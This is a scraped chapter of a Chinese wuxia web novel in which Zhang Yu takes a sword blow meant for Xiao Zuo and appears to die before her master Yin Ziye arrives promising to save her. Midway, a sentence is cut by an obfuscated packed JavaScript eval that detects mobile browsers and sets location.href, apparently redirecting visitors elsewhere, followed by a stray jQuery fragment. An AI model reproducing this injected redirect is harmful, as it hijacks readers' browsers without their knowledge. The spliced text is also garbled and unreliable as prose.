不对,她不应该在屋内疗伤吗?怎么能看到春夜缺月。
再凝神感知,身边刀光剑影,叮铛碰撞声,不绝于耳。
不是已经杀了五水道长吗,怎么还在打架呢,此时又是谁与谁在打啊?
莫非是萧祈又回来了,那萧祚岂不是很危险。
她骤然清醒了大半,急忙扭头去看。
天上挥剑之人,一人是萧祚,他功法似乎大有精进,草木摇落,唯有他所经之处,飞花不落,尘埃不染,疾风至此分流。
另一人她却并不认识,只是身形颇为眼熟,她眯着眼睛看,却越看越眼熟。
她盯着那人手中青剑许久,忽然灵光一现——是在子夜追逐自己的黑衣人,他怎么在这里,他到底是何人。
章予想要起身,却被三水摁住,她向章予解释:“那人就是摄政王年乌衣,我知你心急,但此时你牵一发而动全身,倏然起身,只会前功尽弃,让你经脉寸断,习武不能。”
“可是...”章予还想说些什么。
三水捂住她的嘴,“哪有可是,你好好躺着,萧祚刚刚突破了凌云境界,可以与年乌衣一战。”
她这样说,章予却还是不放心,不知为何,她心跳如鼓,隐隐有不安之感。
起先她只当是乌鸦叫得人心烦,渐渐地,她却察觉出不对劲来。
这方寸之地,除去她目之所及的七人,似乎还有两人。
那两人一人立于菩提树下,一人正在寺院墙外,似乎并不是一伙人。
她向着年乌衣和萧祚看去,恰好看见年乌衣一剑刺来,距萧祚胸口唯有一指之遥。
萧祚似乎受了重伤,行动比平时迟缓一些。
不对,年乌衣这一剑,不是要杀萧祚,他手腕一翻,向外偏了些许。
她刚舒了一口气,为萧祚没有性命之忧而放下心来。
这一口气还没吐完,忽感气息有变。她不由浑身一颤,只见地上五水道长的血珠竟升至半空,再看向那寺外墙边,一道掌风,那血珠竟向着年乌衣飞驰而来。
年乌衣的剑不是不打算伤萧祚的,谁料那带有心蛊的血珠来得赶巧,年乌衣侧身一躲,剑便歪了。
眼看那锋利的剑,向着萧祚喉间而去!
“萧祚!”
她一瞬间什么都没有想,她一瞬间什么都想了。
霄安城的苍鹰,盘旋在皇宫之上,琉璃瓦,照映日光。
似水城,两壶酒,碰杯的时候有水飞溅。
两张嘴巴说出好多的壮志豪言,那么宏大,那么缥缈,却也那么真实,那么触手可及。
她道她要做天地第一的游侠,她说这刀门疑云之下还有秘密,他就相信。
不需要理由,只是因为相信。
这个世界上这个叫作章予的女孩,就是一个值得被肯定,值得委以重任,值得细心聆听的人。
不是区区女子、不用相夫教子、不必人微言轻。
所以萧祚说他要明君,章予就始终相信他能做明君。
萧祚,为了这黎民百姓,为了这大启王朝,活下来。
活下来,活好些,杀进皇宫去,福泽天下人。
她甚至无意识自己怎么移动到萧祚的面前,一切都在一息之间,谁都没来得及反应。
其实她下意识举起了匕首去挡这一剑。
却不想一瞬之间,她周身剧痛无比,□□和灵魂搅在一起,在身体里扭麻花。
内力,她一点都感知不到了,只有绵绵不绝的耳鸣,嘴巴里耳朵里鼻腔里都是血,血腥味重到她忍不住作呕,太疼了,疼得睁不开眼睛,疼得手抖到握不住匕首。
“哐当”
匕首掉下去,心脏上多了一柄青色的剑,胸口也开始流血。
她费力地想睁开眼睛去看,却意识到自己明明睁着眼睛,那这漆黑一片的世界,是因为自己瞎了吗?
竟然是这样一个结局吗,也好,比起做武安城飞不出去的笼中鸟,此刻也算展翅高飞。
飞出藩篱去,同风而起,为这天下而陨落。
好过籍籍无名,好过蹉跎一生。
谁在叫她,她很想回应,但是已经没有力气开口了。
为了杀五水道长,她给自己灌下去毒药的时候,其实就想过,有变故怎么办呢。
其实,其实什么不在乎生死都是骗人的,她只有二十有余,人生大好。
不知道骗到人没有,看起来萧祚是相信的,那么,就不要为她的死而悲伤了。
不要愧疚,更不要因愧疚而变得庸碌。
她的尸骨,若能做盛世的垫脚石,就踩着她向上爬,黄土中,尘泥里,都是好归宿。
“不!!”是萧祚。
不——
章予怎么会死呢,她应该永远胜券在握,永远技高一筹,将所有人耍得团团转,再得意洋洋地抽身离开。
可是她分明就是死了,闭着眼睛,卧在一地血水之中。
墨红色的衣服,及腰的乌发,散开来,了无生机地绽在地面上,如春日一朵再平凡不过的落花。
萧祚已经没有能力去处理更多的信息了,年乌衣也好,来路不明的血珠也罢。
他甚至不敢去碰章予,生怕碎了,幻灭了,像是粉末一样从眼前消失不见。
年乌衣哪里想到章予会突然冲到自己剑前。
他心中升起由衷的钦佩和庆幸,又为这样的两情相悦感到凄苦,接着是疑惑。
他后退一步,竟为自己辩解道:“我不是要杀你,是有人暗害我,我为了躲开才歪了些许。”
萧祚只道:“是非对错,无关紧要。”
似乎此刻,他腹部的痛疼才刻骨铭心。
没有任何犹豫,他向着三水跪下来:“三水,你一定能救她,你救救她......我求求你,你救救她。”
说到最后,他已经是泣不成声。
即便被赶下皇位,即便流落在外的四年诸多落魄,从来没有一刻让他觉得无力与失控,从来没有一次他这样跪下,这样祈求别人。
可祈求无用,三水满脸是泪,眼前只有蓄不住的水滴。
她只能摇头,强撑着说:“两个时辰已过,她又强行运功,此时经脉寸断、双眼失明。”
她闭上眼,仰着头,下了最后的判断,“心脏贯穿,无药可救,无能为力。”
菩提树下,那一直事不关己态度的人,也忍不住向前迈了一步。
他目光如炬,直直向着寺庙墙外射过去。
只见那里掠过一袭黄衣,金步摇叮零作响。
他立刻就知道那是何人了.
原来是她,魅宗真正的掌门人,可是她不是向来最疼
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17128027|189445||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
爱萧祚吗?
他皱紧眉头,暗中盘算,她是为了杀我?
她知道萧祚的是我的软肋,知道年乌衣不杀萧祚是因为我,知道萧祚有难我一定会出手相救。
所以她一次次拿萧祚的性命为饵,逼我与她相见吗?
“萧礼,这么多年,我已是死人一个,尸骨都埋在皇陵之中,你还是不肯为了魅宗之事,放过我吗?”
罢了,他想,那我就如她所愿。
虽然一旦暴露身份还有诸多麻烦事,但是萧祚这样看重章予,怎能只是眼睁睁看着。
这天下有情人,不要再重蹈我当年的覆辙。
谁料他正要飞下山去,忽见一人,一袭墨袍,一顶斗笠,从天而降,直直到章予身边来。
“殷默?”他脚步又顿住了。
他将来者的名字喃喃一遍,又看殷默不疾不徐的派头。
他只略作思忖,就立刻了悟,最终只是轻笑一声,负手而去。
“师父?”无尘先出声道。
殷子夜只扫一眼,就知道这里发生了什么。
她将章予打横抱起,自语道:“来得还算及时。”
萧祚离她近,先听到她的话,立刻道:“哪里及时,她已经......”
他嘴巴抖了一抖,终究吐不出那个“死"字。
殷子夜瞥他一眼,“不早不晚,正正好好。”
萧祚终于忍不住了,大喊道:“你是她师父,你莫非希望她...”
殷子夜终于正眼看萧祚了,她勾起嘴角,比起萧祚的急迫与绝望,多的却是旁人看不透的释然与从容。
她轻声道:“不,是我早知她会死。”
从很久之前,在灵山上为自己卜了一挂,从在似水城中第一眼见到章予,之后的每一刻,她都知道,章予会死。
二月二,龙抬头,春日中,万物生。
章予倒在南安寺中,血流成河。
她看着百思不解的萧祚,笑道:“你不必惊慌,今日于她而言,是机缘,因为会死的另有其人。”
萧祚急忙问:“你莫非有办法救她?”
殷子夜胸有成竹:“自然有,因为她命不该绝,我不过顺应天意。先回子夜山去,我早有准备。”
萧祚、三水、万言脸上都终于浮现出些许轻松,三水抹了一把泪,跟着萧祚跪下来,向殷子夜拱手:“多谢子夜姐。”
殷子夜摆摆手:“小事小事。”
说罢,她又回头吩咐无尘:“无尘,你带路,大家一起回子夜山。”
唯有被点到的无尘,在一众人松口气的时候,感到灵魂飘飘然地不踏实,似乎有不好的事情要发生。
可是殷子夜神通广大,这天下怎么会有难倒她的事情呢。
世间一切分明尽在她掌握之间,她早已算得这天下大事,又不屑于与天下人争名夺利。
分明许多年之前,她若是与万辞一争武林第一高手的名声,赢的人只会是她。
她说过很多狂妄到让不了解她的人会发笑的话,只有无尘知道,她说的都是真的。
登天成神,不拘尘世。
她是这天下唯一武功境界到了入化十四等的人,若是尘世之上还有九重天,她是人间唯一有资格去叩响天门的人。
这样的殷子夜,一定有最完美的办法。